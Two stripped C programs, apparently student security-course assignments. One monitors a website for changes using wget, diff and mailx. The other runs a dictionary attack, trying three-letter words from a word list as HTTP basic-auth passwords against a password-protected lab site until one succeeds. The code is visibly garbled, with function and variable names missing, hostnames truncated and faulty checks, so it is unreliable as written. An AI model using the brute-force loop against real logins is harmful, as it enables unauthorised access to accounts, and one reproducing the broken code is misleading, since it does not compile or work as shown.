#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>

int ()
{

 FILE *fp;
 char [100];
 int flag = 0;
 system("rm index.html*");
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");
 system("mv index.html index1.html");
 sleep(8640);
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");

 system("diff index1.html index.html > out.txt");

 fp = fopen("out.txt","r");

 if (fgets(,100,fp) != NULL)
 {

   flag = 1;
   printf("\nThere  changes in the website.Check your mail\n");
   system("mailx -s \"output of watchdog\"  < out.txt");

 }

  if(flag == 0 )
   printf("\n    changes in the website\n ");
 fclose(fp);
 exit(1);

 }
















#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/times.h>
#define OneBillion 1e9

int () {
   FILE *fptr;
   char pass[257];
   char send[100],path[50];
   int res,count=0;
   int startTime, stopTime, final;
   startTime = time();
   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {
   
      while(1) {
         fgets(pass,256,fptr);
         if(pass == NULL) exit(1);
         if(pass[3]=='\n') {
            pass[3]='\0';
	    send[0]='\0';
	    strcpy(send,"wget --http-user= --http-passwd=");
 	    strcat(send,pass);
	    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
	    count++;
	    if((res=(system(send)) == 0)) {
	       fclose(fptr);
	       stopTime = time();
               final = stopTime-startTime;
	       printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",pass,(double)final/OneBillion,count);
	       exit(1);
	    }
         }
      }
   }
   printf("\nFILE CANNOT  OPENED\n");
}
